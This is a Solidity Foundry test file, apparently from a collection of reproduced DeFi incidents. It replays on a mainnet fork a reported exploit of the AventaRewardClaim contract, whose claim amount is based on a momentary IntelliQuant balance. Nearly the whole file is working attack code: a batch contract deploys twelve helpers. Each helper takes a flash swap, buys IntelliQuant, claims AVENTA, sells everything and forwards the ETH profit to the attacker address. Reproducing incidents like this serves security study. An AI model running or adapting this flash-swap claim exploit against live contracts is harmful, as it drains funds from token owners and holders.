src/test/2025-04/AventaRewardClaim_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 16,019,528 AVENTA
8// Attacker : 0x7c982e93d6b1ede9626a84ebeafbc42e5991dee8
9// Attack Contract : 0x0cdaa461d9d60ef84ded453fa1fbd3e2916f9016
10// Vulnerable Contract : 0x33b860fc7787e9e4813181b227eaffa0cada4c73
11// Attack Tx : https://etherscan.io/tx/0x59446b1f58457c83d18864bbfaa8930c9438da33017ad41f08397cf79a8c63e5
12//
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x33b860fc7787e9e4813181b227eaffa0cada4c73#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/927
18//
19// AventaRewardClaim calculates a user's claim from the user's current
20// IntelliQuant balance, then pays AVENTA from the Owner allowance. The contract
21// only requires user == msg.sender, so the attacker used fresh helper addresses:
22// each helper briefly bought IntelliQuant, claimed AVENTA, sold both tokens for
23// WETH, repaid a tiny Uniswap V2 flash swap, and forwarded ETH profit.
24 
25address constant ATTACKER = 0x7c982E93d6B1eDE9626A84EbeafBC42e5991Dee8;
26address constant HISTORICAL_ATTACK_CONTRACT = 0x0cdAa461D9D60Ef84Ded453Fa1fbD3E2916F9016;
27address constant VICTIM_OWNER = 0x3B068F4Fa718eD1F21D291f4C20aB1C80909A5D3;
28address constant AVENTA_REWARD_CLAIM = 0x33B860FC7787e9e4813181b227EAfFa0Cada4C73;
29address constant FLASH_PAIR = 0xa2107FA5B38d9bbd2C461D6EDf11B11A50F6b974;
30address constant UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
31address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
32address constant INTELLIQUANT_TOKEN = 0x31Bd628c038f08537e0229f0D8c0a7b18B0CDa7B;
33address constant AVENTA_TOKEN = 0xd9641fC2826Ecc9beBf4F3852fe4ED92a5239F02;
34uint256 constant FLASH_WETH_AMOUNT = 0.01 ether;
35uint256 constant HELPER_COUNT = 12;
36 
37interface IAventaRewardClaim {
38    function claim(
39        address user
40    ) external;
41}
42 
43contract ContractTest is BaseTestWithBalanceLog {
44    function setUp() public {
45        vm.createSelectFork("mainnet", 22_358_982);
46 
47        fundingToken = address(0);
48        attacker = ATTACKER;
49 
50        vm.label(ATTACKER, "Attacker");
51        vm.label(HISTORICAL_ATTACK_CONTRACT, "Historical attack contract");
52        vm.label(VICTIM_OWNER, "Aventa owner/victim");
53        vm.label(AVENTA_REWARD_CLAIM, "AventaRewardClaim");
54        vm.label(AVENTA_TOKEN, "AVENTA");
55        vm.label(INTELLIQUANT_TOKEN, "IntelliQuant");
56        vm.label(FLASH_PAIR, "Uniswap flash pair");
57        vm.label(UNISWAP_V2_ROUTER, "Uniswap V2 router");
58        vm.label(WETH_TOKEN, "WETH");
59    }
60 
61    function testExploit() public balanceLog {
62        uint256 attackerEthBefore = ATTACKER.balance;
63 
64        AventaRewardClaimBatch exploit = new AventaRewardClaimBatch();
65        exploit.attack();
66 
67        uint256 attackerProfit = ATTACKER.balance - attackerEthBefore;
68        assertGt(attackerProfit, 3 ether);
69    }
70}
71 
72contract AventaRewardClaimBatch {
73    function attack() external {
74        for (uint256 i; i < HELPER_COUNT; ++i) {
75            new AventaRewardClaimHelper().attack();
76        }
77    }
78}
79 
80contract AventaRewardClaimHelper {
81    IWETH private constant weth = IWETH(payable(WETH_TOKEN));
82    IERC20 private constant intelliQuant = IERC20(INTELLIQUANT_TOKEN);
83    IERC20 private constant aventa = IERC20(AVENTA_TOKEN);
84    IUniswapV2Router private constant router = IUniswapV2Router(payable(UNISWAP_V2_ROUTER));
85    IAventaRewardClaim private constant rewardClaim = IAventaRewardClaim(AVENTA_REWARD_CLAIM);
86 
87    function attack() external {
88        IUniswapV2Pair(FLASH_PAIR).swap(0, FLASH_WETH_AMOUNT, address(this), hex"1234");
89    }
90 
91    function uniswapV2Call(
92        address sender,
93        uint256 amount0,
94        uint256 amount1,
95        bytes calldata
96    ) external {
97        require(msg.sender == FLASH_PAIR, "flash pair");
98        require(sender == address(this), "sender");
99        require(amount0 == 0 && amount1 == FLASH_WETH_AMOUNT, "loan amount");
100 
101        weth.approve(UNISWAP_V2_ROUTER, type(uint256).max);
102        intelliQuant.approve(UNISWAP_V2_ROUTER, type(uint256).max);
103        aventa.approve(UNISWAP_V2_ROUTER, type(uint256).max);
104 
105        _swap(WETH_TOKEN, INTELLIQUANT_TOKEN, FLASH_WETH_AMOUNT);
106 
107        rewardClaim.claim(address(this));
108 
109        _swap(INTELLIQUANT_TOKEN, WETH_TOKEN, intelliQuant.balanceOf(address(this)));
110        _swap(AVENTA_TOKEN, WETH_TOKEN, aventa.balanceOf(address(this)));
111 
112        uint256 repayment = (FLASH_WETH_AMOUNT * 1004) / 1000 + 1;
113        weth.transfer(FLASH_PAIR, repayment);
114 
115        uint256 profitWeth = weth.balanceOf(address(this));
116        weth.withdraw(profitWeth);
117        payable(ATTACKER).transfer(address(this).balance);
118    }
119 
120    function _swap(
121        address tokenIn,
122        address tokenOut,
123        uint256 amountIn
124    ) private {
125        if (amountIn == 0) return;
126 
127        address[] memory path = new address[](2);
128        path[0] = tokenIn;
129        path[1] = tokenOut;
130 
131        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn, 0, path, address(this), block.timestamp);
132    }
133 
134    receive() external payable {}
135}